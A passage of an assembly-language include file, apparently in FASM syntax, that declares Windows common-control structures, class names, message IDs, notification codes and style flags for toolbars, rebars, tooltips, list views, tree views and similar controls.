fMask dd ? + himl dd ? +ends + +struct REBARBANDINFO + cbSize dd ? + fMask dd ? + fStyle dd ? + clrFore dd ? + clrBack dd ? + lpText dd ? + cch dd ? + iImage dd ? + hwndChild dd ? + cxMinChild dd ? + cyMinChild dd ? + cx dd ? + hbmBack dd ? + wID dd ? +ends + +struct TOOLINFO + cbSize dd ? + uFlags dd ? + hwnd dd ? + uId dd ? + rect RECT + hInst dd ? + lpszText dd ? +ends + +struct TTHITTESTINFO + hwnd dd ? + pt POINT + ti TOOLINFO +ends + +struct TOOLTIPTEXT + hdr NMHDR + lpszText dd ? + szText db 80 dup (?) + hinst dd ? + uFlags dd ? +ends + +struct UDACCEL + nSec dd ? + nInc dd ? +ends + +struct NM_UPDOWN + hdr NMHDR + iPos dd ? + iDelta dd ? +ends + +struct LV_ITEM + mask dd ? + iItem dd ? + iSubItem dd ? + state dd ? + stateMask dd ? + pszText dd ? + cchTextMax dd ? + iImage dd ? + lParam dd ? + iIndent dd ? +ends + +struct LV_FINDINFO + flags dd ? + psz dd ? + lParam dd ? + pt POINT + vkDirection dd ? +ends + +struct LV_HITTESTINFO + pt POINT + flags dd ? + iItem dd ? +ends + +struct LV_COLUMN + mask dd ? + fmt dd ? + cx dd ? + pszText dd ? + cchTextMax dd ? + iSubItem dd ? +ends + +struct NM_LISTVIEW + hdr NMHDR + iItem dd ? + iSubItem dd ? + uNewState dd ? + uOldState dd ? + uChanged dd ? + ptAction POINT + lParam dd ? +ends + +struct NM_CACHEHINT + hdr NMHDR + iFrom dd ? + iTo dd ? +ends + +struct NM_FINDITEM + hdr NMHDR + iStart dd ? + lvfi LV_FINDINFO +ends + +struct LV_DISPINFO + hdr NMHDR + item LV_ITEM +ends + +struct LV_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct TV_ITEM + mask dd ? + hItem dd ? + state dd ? + stateMask dd ? + pszText dd ? + cchTextMax dd ? + iImage dd ? + iSelectedImage dd ? + cChildren dd ? + lParam dd ? +ends + +struct TV_INSERTSTRUCT + hParent dd ? + hInsertAfter dd ? + item TV_ITEM +ends + +struct TV_HITTESTINFO + pt POINT + flags dd ? + hItem dd ? +ends + +struct TV_SORTCB + hParent dd ? + lpfnCompare dd ? + lParam dd ? +ends + +struct NM_TREEVIEW + hdr NMHDR + action dd ? + itemOld TV_ITEM + itemNew TV_ITEM + ptDrag POINT +ends + +struct TV_DISPINFO + hdr NMHDR + item TV_ITEM +ends + +struct TV_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct TC_ITEMHEADER + mask dd ? + lpReserved1 dd ? + lpReserved2 dd ? + pszText dd ? + cchTextMax dd ? + iImage dd ? +ends + +struct TC_ITEM + mask dd ? + lpReserved1 dd ? + lpReserved2 dd ? + pszText dd ? + cchTextMax dd ? + iImage dd ? + lParam dd ? +ends + +struct TC_HITTESTINFO + pt POINT + flags dd ? +ends + +struct TC_KEYDOWN + hdr NMHDR + wVKey dw ? + flags dd ? +ends + +struct MC_HITTESTINFO + cbSize dd ? + pt POINT + uHit dd ? + st SYSTEMTIME +ends + +struct NM_SELCHANGE + nmhdr NMHDR + stSelStart SYSTEMTIME + stSelEnd SYSTEMTIME +ends + +struct NM_DAYSTATE + nmhdr NMHDR + stStart SYSTEMTIME + cDayState dd ? + prgDayState dd ? +ends + +struct NM_DATETIMECHANGE + nmhdr NMHDR + dwFlags dd ? + st SYSTEMTIME +ends + +struct NM_DATETIMESTRING + nmhdr NMHDR + pszUserString dd ? + st SYSTEMTIME + dwFlags dd ? +ends + +struct NM_DATETIMEWMKEYDOWN + nmhdr NMHDR + nVirtKey dd ? + pszFormat dd ? + st SYSTEMTIME +ends + +struct NM_DATETIMEFORMAT + nmhdr NMHDR + pszFormat dd ? + st SYSTEMTIME + pszDisplay dd ? + szDisplay db 64 dup (?) +ends + +struct NM_DATETIMEFORMATQUERY + nmhdr NMHDR + pszFormat dd ? + szMax SIZE +ends + +struct INITCOMMONCONTROLSEX + dwSize dd ? + dwICC dd ? +ends + +; Common control window classes + +HOTKEY_CLASS equ 'msctls_hotkey32' +PROGRESS_CLASS equ 'msctls_progress32' +STATUS_CLASS equ 'msctls_statusbar32' +TRACKBAR_CLASS equ 'msctls_trackbar32' +UPDOWN_CLASS equ 'msctls_updown32' +TOOLTIPS_CLASS equ 'tooltips_class32' +ANIMATE_CLASS equ 'SysAnimate32' +HEADER_CLASS equ 'SysHeader32' +LISTVIEW_CLASS equ 'SysListView32' +TREEVIEW_CLASS equ 'SysTreeView32' +TABCONTROL_CLASS equ 'SysTabControl32' +MONTHCAL_CLASS equ 'SysMonthCal32' +DATETIMEPICK_CLASS equ 'SysDateTimePick32' +TOOLBAR_CLASS equ 'ToolbarWindow32' +REBAR_CLASS equ 'ReBarWindow32' + +; Ranges for control message IDs + +LVM_FIRST = 1000h +TV_FIRST = 1100h +HDM_FIRST = 1200h +TCM_FIRST = 1300h +MCM_FIRST = 1000h +DTM_FIRST = 1000h +CCM_FIRST = 2000h + +; Ranges for control notification IDs + +NM_FIRST = 0 +LVN_FIRST = -100 +PSN_FIRST = -200 +HDN_FIRST = -300 +TVN_FIRST = -400 +TTN_FIRST = -520 +TCN_FIRST = -550 +CDN_FIRST = -601 +TBN_FIRST = -700 +UDN_FIRST = -721 +MCN_FIRST = -750 +DTN_FIRST = -760 +CBEN_FIRST = -800 +RBN_FIRST = -831 + +; Generic notifications + +NM_OUTOFMEMORY = NM_FIRST - 1 +NM_CLICK = NM_FIRST - 2 +NM_DBLCLK = NM_FIRST - 3 +NM_RETURN = NM_FIRST - 4 +NM_RCLICK = NM_FIRST - 5 +NM_RDBLCLK = NM_FIRST - 6 +NM_SETFOCUS = NM_FIRST - 7 +NM_KILLFOCUS = NM_FIRST - 8 +NM_CUSTOMDRAW = NM_FIRST - 12 + +; Common control styles + +CCS_TOP = 01h +CCS_NOMOVEY = 02h +CCS_BOTTOM = 03h +CCS_NORESIZE = 04h +CCS_NOPARENTALIGN = 08h +CCS_ADJUSTABLE = 20h +CCS_NODIVIDER = 40h +CCS_VERT = 80h +CCS_LEFT = CCS_VERT or CCS_TOP +CCS_RIGHT = CCS_VERT or CCS_BOTTOM +CCS_NOMOVEX = CCS_VERT or CCS_NOMOVEY + +; Owner-drawn control types + +ODT_HEADER = 100 +ODT_TAB = 101 +ODT_LISTVIEW = 102 + +; InitCommonControlsEx classes + +ICC_ANIMATE_CLASS = 0080h +ICC_BAR_CLASSES = 0004h +ICC_COOL_CLASSES = 0400h +ICC_DATE_CLASSES = 0100h +ICC_HOTKEY_CLASS = 0040h +ICC_INTERNET_CLASSES = 0800h +ICC_LISTVIEW_CLASSES = 0001h +ICC_PAGESCROLLER_CLASS = 1000h +ICC_PROGRESS_CLASS = 0020h +ICC_TAB_CLASSES = 0008h +ICC_TREEVIEW_CLASSES = 0002h +ICC_UPDOWN_CLASS = 0010h +ICC_USEREX_CLASSES = 0200h +ICC_WIN95_CLASSES = 00FFh + +; Shared messages + +CCM_SETCOLORSCHEME = CCM_FIRST + 2 +CCM_GETCOLORSCHEME = CCM_FIRST + 3 +CCM_GETDROPTARGET = CCM_FIRST + 4 +CCM_SETUNICODEFORMAT = CCM_FIRST + 5 +CCM_GETUNICODEFORMAT = CCM_FIRST + 6 + +; Property sheet page flags + +PSP_DEFAULT = 0000h +PSP_DLGINDIRECT = 0001h +PSP_USEHICON = 0002h +PSP_USEICONID = 0004h +PSP_USETITLE = 0008h +PSP_HASHELP = 0020h +PSP_USEREFPARENT = 0040h +PSP_USECALLBACK = 0080h + +; Property sheet page actions + +PSPCB_RELEASE = 1 +PSPCB_CREATE = 2 + +; Property sheet header flags + +PSH_DEFAULT = 0000h +PSH_PROPTITLE = 0001h +PSH_USEHICON = 0002h +PSH_USEICONID = 0004h +PSH_PROPSHEETPAGE = 0008h +PSH_MULTILINETABS = 0010h +PSH_WIZARD = 0020h +PSH_USEPSTARTPAGE = 0040h +PSH_NOAPPLYNOW = 0080h +PSH_USECALLBACK = 0100h +PSH_HASHELP = 0200h +PSH_MODELESS = 0400h + +; Property sheet actions + +PSCB_INITIALIZED = 1 + +; Property sheet notifications + +PSN_SETACTIVE = PSN_FIRST - 0 +PSN_KILLACTIVE = PSN_FIRST - 1 +PSN_APPLY = PSN_FIRST - 2 +PSN_RESET = PSN_FIRST - 3 +PSN_HELP = PSN_FIRST - 5 +PSN_WIZBACK = PSN_FIRST - 6 +PSN_WIZNEXT = PSN_FIRST - 7 +PSN_WIZFINISH = PSN_FIRST - 8 +PSN_QUERYCANCEL = PSN_FIRST - 9 + +; Property sheet return values + +PSNRET_NOERROR = 0 +PSNRET_INVALID = 1 +PSNRET_INVALID_NOCHANGEPAGE = 2 + +; Property sheet messages + +PSM_SETCURSEL = WM_USER + 101 +PSM_REMOVEPAGE = WM_USER + 102 +PSM_ADDPAGE = WM_USER + 103 +PSM_CHANGED = WM_USER + 104 +PSM_RESTARTWINDOWS = WM_USER + 105 +PSM_REBOOTSYSTEM = WM_USER + 106 +PSM_CANCELTOCLOSE = WM_USER + 107 +PSM_QUERYSIBLINGS = WM_USER + 108 +PSM_UNCHANGED = WM_USER + 109 +PSM_APPLY = WM_USER + 110 +PSM_SETTITLE = WM_USER + 111 +PSM_SETTITLEW = WM_USER + 120 +PSM_SETWIZBUTTONS = WM_USER + 112 +PSM_PRESSBUTTON = WM_USER + 113 +PSM_SETCURSELID = WM_USER + 114 +PSM_SETFINISHTEXT = WM_USER + 115 +PSM_SETFINISHTEXTW = WM_USER + 121 +PSM_GETTABCONTROL = WM_USER + 116 +PSM_ISDIALOGMESSAGE = WM_USER + 117 + +; Property sheet buttons + +PSBTN_BACK = 0 +PSBTN_NEXT = 1 +PSBTN_FINISH = 2 +PSBTN_OK = 3 +PSBTN_APPLYNOW = 4 +PSBTN_CANCEL = 5 +PSBTN_HELP = 6 +PSWIZB_BACK = 1 +PSWIZB_NEXT = 2 +PSWIZB_FINISH = 4 +PSWIZB_DISABLEDFINISH = 8 +ID_PSRESTARTWINDOWS = 2 +ID_PSREBOOTSYSTEM = ID_PSRESTARTWINDOWS or 1 + +; Property sheet sizes + +PROP_SM_CXDLG = 212 +PROP_SM_CYDLG = 188 +PROP_MED_CXDLG = 227 +PROP_MED_CYDLG = 215 +PROP_LG_CXDLG = 252 +PROP_LG_CYDLG = 218 +WIZ_CXDLG = 276 +WIZ_CYDLG = 140 +WIZ_CXBMP = 80 +WIZ_BODYX = 92 +WIZ_BODYCX = 184 + +; Image list types + +ILC_MASK = 001h +ILC_COLOR = 0FEh +ILC_COLORDDB = 0FEh +ILC_COLOR4 = 004h +ILC_COLOR8 = 008h +ILC_COLOR16 = 010h +ILC_COLOR24 = 018h +ILC_COLOR32 = 020h +ILC_PALETTE = 800h + +; Image list color values + +CLR_NONE = 0FFFFFFFFh +CLR_DEFAULT = 0FF000000h +CLR_HILIGHT = CLR_DEFAULT + +; Image list drawing styles + +ILD_NORMAL = 0000h +ILD_TRANSPARENT = 0001h +ILD_MASK = 0010h +ILD_IMAGE = 0020h +ILD_BLEND25 = 0002h +ILD_BLEND50 = 0004h +ILD_OVERLAYMASK = 0F00h +ILD_SELECTED = ILD_BLEND50 +ILD_FOCUS = ILD_BLEND25 +ILD_BLEND = ILD_BLEND50 + +; Header control styles + +HDS_HORZ = 00h +HDS_BUTTONS = 02h +HDS_HOTTRACK = 04h +HDS_HIDDEN = 08h +HDS_DRAGDROP = 40h +HDS_FULLDRAG = 80h + +; Header control structure flags + +HDI_WIDTH = 01h +HDI_HEIGHT = HDI_WIDTH +HDI_TEXT = 02h +HDI_FORMAT = 04h +HDI_LPARAM = 08h +HDI_BITMAP = 10h + +; Header control flags + +HDF_LEFT = 0000h +HDF_RIGHT = 0001h +HDF_CENTER = 0002h +HDF_JUSTIFYMASK = 0003h +HDF_RTLREADING = 0004h +HDF_BITMAP = 2000h +HDF_STRING = 4000h +HDF_OWNERDRAW = 8000h + +; Header control messages + +HDM_GETITEMCOUNT = HDM_FIRST + 0 +HDM_INSERTITEMA = HDM_FIRST + 1 +HDM_DELETEITEM = HDM_FIRST + 2 +HDM_GETITEMA = HDM_FIRST + 3 +HDM_SETITEMA = HDM_FIRST + 4 +HDM_LAYOUT = HDM_FIRST + 5 +HDM_HITTEST = HDM_FIRST + 6 +HDM_INSERTITEMW = HDM_FIRST + 10 +HDM_GETITEMW = HDM_FIRST + 11 +HDM_SETITEMW = HDM_FIRST + 12 +HDM_INSERTITEM = HDM_INSERTITEMA +HDM_GETITEM = HDM_GETITEMA +HDM_SETITEM = HDM_SETITEMA + +; Hit test result flags + +HHT_NOWHERE = 001h +HHT_ONHEADER = 002h +HHT_ONDIVIDER = 004h +HHT_ONDIVOPEN = 008h +HHT_ABOVE = 100h +HHT_BELOW = 200h +HHT_TORIGHT = 400h +HHT_TOLEFT = 800h + +; Header control notifications + +HDN_ITEMCHANGINGA = HDN_FIRST - 0 +HDN_ITEMCHANGEDA = HDN_FIRST - 1 +HDN_ITEMCLICKA = HDN_FIRST - 2 +HDN_ITEMDBLCLICKA = HDN_FIRST - 3 +HDN_DIVIDERDBLCLICKA = HDN_FIRST - 5 +HDN_BEGINTRACKA = HDN_FIRST - 6 +HDN_ENDTRACKA = HDN_FIRST - 7 +HDN_TRACKA = HDN_FIRST - 8 +HDN_ITEMCHANGINGW = HDN_FIRST - 20 +HDN_ITEMCHANGEDW = HDN_FIRST - 21 +HDN_ITEMCLICKW = HDN_FIRST - 22 +HDN_ITEMDBLCLICKW = HDN_FIRST - 23 +HDN_DIVIDERDBLCLICKW = HDN_FIRST - 25 +HDN_BEGINTRACKW = HDN_FIRST - 26 +HDN_ENDTRACKW = HDN_FIRST - 27 +HDN_TRACKW = HDN_FIRST - 28 +HDN_ITEMCHANGING = HDN_ITEMCHANGINGA +HDN_ITEMCHANGED = HDN_ITEMCHANGEDA +HDN_ITEMCLICK = HDN_ITEMCLICKA +HDN_ITEMDBLCLICK = HDN_ITEMDBLCLICKA +HDN_DIVIDERDBLCLICK = HDN_DIVIDERDBLCLICKA +HDN_BEGINTRACK = HDN_BEGINTRACKA +HDN_ENDTRACK = HDN_ENDTRACKA +HDN_TRACK = HDN_TRACKA + +; Toolbar bitmap flags + +CMB_MASKED = 2 + +; Toolbar button states + +TBSTATE_CHECKED = 01h +TBSTATE_PRESSED = 02h +TBSTATE_ENABLED = 04h +TBSTATE_HIDDEN = 08h +TBSTATE_INDETERMINATE = 10h +TBSTATE_WRAP = 20h +TBSTATE_ELLIPSES = 40h + +; Toolbar button styles + +TBSTYLE_BUTTON = 0000h +TBSTYLE_SEP = 0001h +TBSTYLE_CHECK = 0002h +TBSTYLE_GROUP = 0004h +TBSTYLE_CHECKGROUP = TBSTYLE_GROUP or TBSTYLE_CHECK +TBSTYLE_DROPDOWN = 0008h +TBSTYLE_TOOLTIPS = 0100h +TBSTYLE_WRAPABLE = 0200h +TBSTYLE_ALTDRAG = 0400h +TBSTYLE_FLAT = 0800h +TBSTYLE_LIST = 1000h +TBSTYLE_CUSTOMERASE = 2000h +TBSTYLE_TRANSPARENT = 8000h + +; Toolbar button extended styles + +TBSTYLE_EX_DRAWDDARROWS = 0001h + +; Toolbar messages + +TB_ENABLEBUTTON = WM_USER + 1 +TB_CHECKBUTTON = WM_USER + 2 +TB_PRESSBUTTON = WM_USER + 3 +TB_HIDEBUTTON = WM_USER + 4 +TB_INDETERMINATE = WM_USER + 5 +TB_ISBUTTONENABLED = WM_USER + 9 +TB_ISBUTTONCHECKED = WM_USER + 10 +TB_ISBUTTONPRESSED = WM_USER + 11 +TB_ISBUTTONHIDDEN = WM_USER + 12 +TB_ISBUTTONINDETERMINATE = WM_USER + 13 +TB_SETSTATE = WM_USER + 17 +TB_GETSTATE = WM_USER + 18 +TB_ADDBITMAP = WM_USER + 19 +TB_ADDBUTTONS = WM_USER + 20 +TB_INSERTBUTTON = WM_USER + 21 +TB_DELETEBUTTON = WM_USER + 22 +TB_GETBUTTON = WM_USER + 23 +TB_BUTTONCOUNT = WM_USER + 24 +TB_COMMANDTOINDEX = WM_USER + 25 +TB_SAVERESTOREA = WM_USER + 26 +TB_ADDSTRINGA = WM_USER + 28 +TB_CUSTOMIZE = WM_USER + 27 +TB_GETITEMRECT = WM_USER + 29 +TB_BUTTONSTRUCTSIZE = WM_USER + 30 +TB_SETBUTTONSIZE = WM_USER + 31 +TB_SETBITMAPSIZE = WM_USER + 32 +TB_AUTOSIZE = WM_USER + 33 +TB_GETTOOLTIPS = WM_USER + 35 +TB_SETTOOLTIPS = WM_USER + 36 +TB_SETPARENT = WM_USER + 37 +TB_SETROWS = WM_USER + 39 +TB_GETROWS = WM_USER + 40 +TB_GETBITMAPFLAGS = WM_USER + 41 +TB_SETCMDID = WM_USER + 42 +TB_CHANGEBITMAP = WM_USER + 43 +TB_GETBITMAP = WM_USER + 44 +TB_GETBUTTONTEXTA = WM_USER + 45 +TB_REPLACEBITMAP = WM_USER + 46 +TB_SETINDENT = WM_USER + 47 +TB_SETIMAGELIST = WM_USER + 48 +TB_GETIMAGELIST = WM_USER + 49 +TB_LOADIMAGES = WM_USER + 50 +TB_GETRECT = WM_USER + 51 +TB_SETHOTIMAGELIST = WM_USER + 52 +TB_GETHOTIMAGELIST = WM_USER + 53 +TB_SETDISABLEDIMAGELIST = WM_USER + 54 +TB_GETDISABLEDIMAGELIST = WM_USER + 55 +TB_SETSTYLE = WM_USER + 56 +TB_GETSTYLE = WM_USER + 57 +TB_GETBUTTONSIZE = WM_USER + 58 +TB_SETBUTTONWIDTH = WM_USER + 59 +TB_SETMAXTEXTROWS = WM_USER + 60 +TB_GETTEXTROWS = WM_USER + 61 +TB_GETBUTTONTEXTW = WM_USER + 75 +TB_SAVERESTOREW = WM_USER + 76 +TB_ADDSTRINGW = WM_USER + 77 +TB_SETEXTENDEDSTYLE = WM_USER + 84 +TB_GETEXTENDEDSTYLE = WM_USER + 85 +TB_GETBUTTONTEXT = TB_GETBUTTONTEXTA +TB_SAVERESTORE = TB_SAVERESTOREA +TB_ADDSTRING = TB_ADDSTRINGA + +; System-defined button bitmaps + +HINST_COMMCTRL = -1 +IDB_STD_SMALL_COLOR = 0 +IDB_STD_LARGE_COLOR = 1 +IDB_VIEW_SMALL_COLOR = 4 +IDB_VIEW_LARGE_COLOR = 5 +IDB_HIST_SMALL_COLOR = 8 +IDB_HIST_LARGE_COLOR = 9 + +; Icon indexes for standard bitmap + +STD_CUT = 0 +STD_COPY = 1 +STD_PASTE = 2 +STD_UNDO = 3 +STD_REDOW = 4 +STD_DELETE = 5 +STD_FILENEW = 6 +STD_FILEOPEN = 7 +STD_FILESAVE = 8 +STD_PRINTPRE = 9 +STD_PROPERTIES = 10 +STD_HELP = 11 +STD_FIND = 12 +STD_REPLACE = 13 +STD_PRINT = 14 + +; Icon indexes for standard view bitmap + +VIEW_LARGEICONS = 0 +VIEW_SMALLICONS = 1 +VIEW_LIST = 2 +VIEW_DETAILS = 3 +VIEW_SORTNAME = 4 +VIEW_SORTSIZE = 5 +VIEW_SORTDATE = 6 +VIEW_SORTTYPE = 7 +VIEW_PARENTFOLDER = 8 +VIEW_NETCONNECT = 9 +VIEW_NETDISCONNECT = 10 +VIEW_NEWFOLDER = 11 + +; Icon indexes for history bitmap + +HIST_BACK = 0 +HIST_FORWARD = 1 +HIST_FAVORITES = 2 +HIST_ADDTOFAVORITES = 3 +HIST_VIEWTREE = 4 + +; Toolbar bitmap flags + +TBBF_LARGE = 1 + +; Toolbar notifications + +TBN_GETBUTTONINFOA = TBN_FIRST - 0 +TBN_BEGINDRAG = TBN_FIRST - 1 +TBN_ENDDRAG = TBN_FIRST - 2 +TBN_BEGINADJUST = TBN_FIRST - 3 +TBN_ENDADJUST = TBN_FIRST - 4 +TBN_RESET = TBN_FIRST - 5 +TBN_QUERYINSERT = TBN_FIRST - 6 +TBN_QUERYDELETE = TBN_FIRST - 7 +TBN_TOOLBARCHANGE = TBN_FIRST - 8 +TBN_CUSTHELP = TBN_FIRST - 9 +TBN_DROPDOWN = TBN_FIRST - 10 +TBN_CLOSEUP = TBN_FIRST - 11 +TBN_GETBUTTONINFOW = TBN_FIRST - 20 +TBN_GETBUTTONINFO = TBN_GETBUTTONINFOA + +; ReBar styles + +RBS_TOOLTIPS = 100h +RBS_VARHEIGHT = 200h +RBS_BANDBORDERS = 400h +RBS_FIXEDORDER = 800h +RBS_REGISTERDROP = 1000h +RBS_AUTOSIZE = 2000h +RBS_VERTICALGRIPPER = 4000h +RBS_DBLCLKTOGGLE = 8000h + +; ReBar band info structure flags + +RBBIM_STYLE = 001h +RBBIM_COLORS = 002h +RBBIM_TEXT = 004h +RBBIM_IMAGE = 008h +RBBIM_CHILD = 010h +RBBIM_CHILDSIZE = 020h +RBBIM_SIZE = 040h +RBBIM_BACKGROUND = 080h +RBBIM_ID = 100h +RBBIM_IDEALSIZE = 200h +RBBIM_LPARAM = 400h +RBBIM_HEADERSIZE = 800h + +; ReBar band styles + +RBBS_BREAK = 001h +RBBS_FIXEDSIZE = 002h +RBBS_CHILDEDGE = 004h +RBBS_HIDDEN = 008h +RBBS_NOVERT = 010h +RBBS_FIXEDBMP = 020h +RBBS_VARIABLEHEIGHT = 040h +RBBS_GRIPPERALWAYS = 080h +RBBS_NOGRIPPER = 100h + +; ReBar messages + +RB_INSERTBANDA = WM_USER + 1 +RB_DELETEBAND = WM_USER + 2 +RB_GETBARINFO = WM_USER + 3 +RB_SETBARINFO = WM_USER + 4 +RB_GETBANDINFO = WM_USER + 5 +RB_SETBANDINFOA = WM_USER + 6 +RB_SETPARENT = WM_USER + 7 +RB_INSERTBANDW = WM_USER + 10 +RB_SETBANDINFOW = WM_USER + 11 +RB_GETBANDCOUNT = WM_USER + 12 +RB_GETROWCOUNT = WM_USER + 13 +RB_GETROWHEIGHT = WM_USER + 14 +RB_IDTOINDEX = WM_USER + 16 +RB_GETTOOLTIPS = WM_USER + 17 +RB_SETTOOLTIPS = WM_USER + 18 +RB_SETBKCOLOR = WM_USER + 19 +RB_GETBKCOLOR = WM_USER + 20 +RB_SETTEXTCOLOR = WM_USER + 21 +RB_GETTEXTCOLOR = WM_USER + 22 +RB_SIZETORECT = WM_USER + 23 +RB_BEGINDRAG = WM_USER + 24 +RB_ENDDRAG = WM_USER + 25 +RB_DRAGMOVE = WM_USER + 26 +RB_GETBARHEIGHT = WM_USER + 27 +RB_GETBANDINFOW = WM_USER + 28 +RB_GETBANDINFOA = WM_USER + 29 +RB_MINIMIZEBAND = WM_USER + 30 +RB_MAXIMIZEBAND = WM_USER + 31 +RB_GETDROPTARGET = CCM_GETDROPTARGET +RB_GETBANDBORDERS = WM_USER + 34 +RB_SHOWBAND = WM_USER + 35 +RB_SETPALETTE = WM_USER + 37 +RB_GETPALETTE = WM_USER + 38 +RB_MOVEBAND = WM_USER + 39 +RB_SETUNICODEFORMAT = CCM_SETUNICODEFORMAT +RB_GETUNICODEFORMAT = CCM_GETUNICODEFORMAT +RB_INSERTBAND = RB_INSERTBANDA +RB_SETBANDINFO = RB_SETBANDINFOA + +; ReBar notifications + +RBN_HEIGHTCHANGE = RBN_FIRST - 0 +RBN_GETOBJECT = RBN_FIRST - 1 +RBN_LAYOUTCHANGED = RBN_FIRST - 2 +RBN_AUTOSIZE = RBN_FIRST - 3 +RBN_BEGINDRAG = RBN_FIRST - 4 +RBN_ENDDRAG = RBN_FIRST - 5 +RBN_DELETINGBAND = RBN_FIRST - 6 +RBN_DELETEDBAND = RBN_FIRST - 7 +RBN_CHILDSIZE = RBN_FIRST - 8 + +; Tooltip styles + +TTS_ALWAYSTIP = 1 +TTS_NOPREFIX = 2 + +; Tooltip flags + +TTF_IDISHWND = 01h +TTF_CENTERTIP = 02h +TTF_RTLREADING = 04h +TTF_SUBCLASS = 10h + +; Tooltip durations + +TTDT_AUTOMATIC = 0 +TTDT_RESHOW = 1 +TTDT_AUTOPOP = 2 +TTDT_INITIAL = 3 + +; Tooltip messages + +TTM_ACTIVATE = WM_USER + 1 +TTM_SETDELAYTIME = WM_USER + 3 +TTM_ADDTOOLA = WM_USER + 4 +TTM_DELTOOLA = WM_USER + 5 +TTM_NEWTOOLRECTA = WM_USER + 6 +TTM_RELAYEVENT = WM_USER + 7 +TTM_GETTOOLINFOA = WM_USER + 8 +TTM_SETTOOLINFOA = WM_USER + 9 +TTM_HITTESTA = WM_USER + 10 +TTM_GETTEXTA = WM_USER + 11 +TTM_UPDATETIPTEXTA = WM_USER + 12 +TTM_GETTOOLCOUNT = WM_USER + 13 +TTM_ENUMTOOLSA = WM_USER + 14 +TTM_GETCURRENTTOOLA = WM_USER + 15 +TTM_WINDOWFROMPOINT = WM_USER + 16 +TTM_ADDTOOLW = WM_USER + 50 +TTM_DELTOOLW = WM_USER + 51 +TTM_NEWTOOLRECTW = WM_USER + 52 +TTM_GETTOOLINFOW = WM_USER + 53 +TTM_SETTOOLINFOW = WM_USER + 54 +TTM_HITTESTW = WM_USER + 55 +TTM_GETTEXTW = WM_USER + 56 +TTM_UPDATETIPTEXTW = WM_USER + 57 +TTM_ENUMTOOLSW = WM_USER + 58 +TTM_GETCURRENTTOOLW = WM_USER + 59 +TTM_ADDTOOL = TTM_ADDTOOLA +TTM_DELTOOL = TTM_DELTOOLA +TTM_NEWTOOLRECT = TTM_NEWTOOLRECTA +TTM_GETTOOLINFO = TTM_GETTOOLINFOA +TTM_SETTOOLINFO = TTM_SETTOOLINFOA +TTM_HITTEST = TTM_HITTESTA +TTM_GETTEXT = TTM_GETTEXTA +TTM_UPDATETIPTEXT = TTM_UPDATETIPTEXTA +TTM_ENUMTOOLS = TTM_ENUMTOOLSA +TTM_GETCURRENTTOOL = TTM_GETCURRENTTOOLA + +; Tooltip notifications + +TTN_NEEDTEXTA = TTN_FIRST - 0 +TTN_SHOW = TTN_FIRST - 1 +TTN_POP = TTN_FIRST - 2 +TTN_NEEDTEXTW = TTN_FIRST - 10 +TTN_NEEDTEXT = TTN_NEEDTEXTA + +; Status bar styles + +SBARS_SIZEGRIP = 100h + +; Status bar messages + +SB_SETTEXTA = WM_USER + 1 +SB_GETTEXTA = WM_USER + 2 +SB_GETTEXTLENGTHA = WM_USER + 3 +SB_SETPARTS = WM_USER + 4 +SB_GETPARTS = WM_USER + 6 +SB_GETBORDERS = WM_USER + 7 +SB_SETMINHEIGHT = WM_USER + 8 +SB_SIMPLE = WM_USER + 9 +SB_GETRECT = WM_USER + 10 +SB_SETTEXTW = WM_USER + 11 +SB_GETTEXTW = WM_USER + 13 +SB_GETTEXTLENGTHW = WM_USER + 12 +SB_SETTEXT = SB_SETTEXTA +SB_GETTEXT = SB_GETTEXTA +SB_GETTEXTLENGTH = SB_GETTEXTLENGTHA + +; Status bar drawing types + +SBT_OWNERDRAW = 1000h +SBT_NOBORDERS = 0100h +SBT_POPOUT = 0200h +SBT_RTLREADING = 0400h + +; Trackbar styles + +TBS_AUTOTICKS = 01h +TBS_VERT = 02h +TBS_HORZ = 00h +TBS_TOP = 04h +TBS_BOTTOM = 00h +TBS_LEFT = 04h +TBS_RIGHT = 00h +TBS_BOTH = 08h +TBS_NOTICKS = 10h +TBS_ENABLESELRANGE = 20h +TBS_FIXEDLENGTH = 40h +TBS_NOTHUMB = 80h + +; Trackbar messages + +TBM_GETPOS = WM_USER + 0 +TBM_GETRANGEMIN = WM_USER + 1 +TBM_GETRANGEMAX = WM_USER + 2 +TBM_GETTIC = WM_USER + 3 +TBM_SETTIC = WM_USER + 4 +TBM_SETPOS = WM_USER + 5 +TBM_SETRANGE = WM_USER + 6 +TBM_SETRANGEMIN = WM_USER + 7 +TBM_SETRANGEMAX = WM_USER + 8 +TBM_CLEARTICS = WM_USER + 9 +TBM_SETSEL = WM_USER + 10 +TBM_SETSELSTART = WM_USER + 11 +TBM_SETSELEND = WM_USER + 12 +TBM_GETPTICS = WM_USER + 14 +TBM_GETTICPOS = WM_USER + 15 +TBM_GETNUMTICS = WM_USER + 16 +TBM_GETSELSTART = WM_USER + 17 +TBM_GETSELEND = WM_USER + 18 +TBM_CLEARSEL = WM_USER + 19 +TBM_SETTICFREQ = WM_USER + 20 +TBM_SETPAGESIZE = WM_USER + 21 +TBM_GETPAGESIZE = WM_USER + 22 +TBM_SETLINESIZE = WM_USER + 23 +TBM_GETLINESIZE = WM_USER + 24 +TBM_GETTHUMBRECT = WM_USER + 25 +TBM_GETCHANNELRECT = WM_USER + 26 +TBM_SETTHUMBLENGTH = WM_USER + 27 +TBM_GETTHUMBLENGTH = WM_USER + 28 + +; Trackbar notifications + +TB_LINEUP = 0 +TB_LINEDOWN = 1 +TB_PAGEUP = 2 +TB_PAGEDOWN = 3 +TB_THUMBPOSITION = 4 +TB_THUMBTRACK = 5 +TB_TOP = 6 +TB_BOTTOM = 7 +TB_ENDTRACK = 8 + +; Up-down control styles + +UDS_WRAP = 01h +UDS_SETBUDDYINT = 02h +UDS_ALIGNRIGHT = 04h +UDS_ALIGNLEFT = 08h +UDS_AUTOBUDDY = 10h +UDS_ARROWKEYS = 20h +UDS_HORZ = 40h +UDS_NOTHOUSANDS = 80h + +; Up-down control messages + +UDM_SETRANGE = WM_USER + 101 +UDM_GETRANGE = WM_USER + 102 +UDM_SETPOS = WM_USER + 103 +UDM_GETPOS = WM_USER + 104 +UDM_SETBUDDY = WM_USER + 105 +UDM_GETBUDDY = WM_USER + 106 +UDM_SETACCEL = WM_USER + 107 +UDM_GETACCEL = WM_USER + 108 +UDM_SETBASE = WM_USER + 109 +UDM_GETBASE = WM_USER + 110 + +; Up-down control notifications + +UDN_DELTAPOS = UDN_FIRST - 1 + +; Progress bar messages + +PBM_SETRANGE = WM_USER + 1 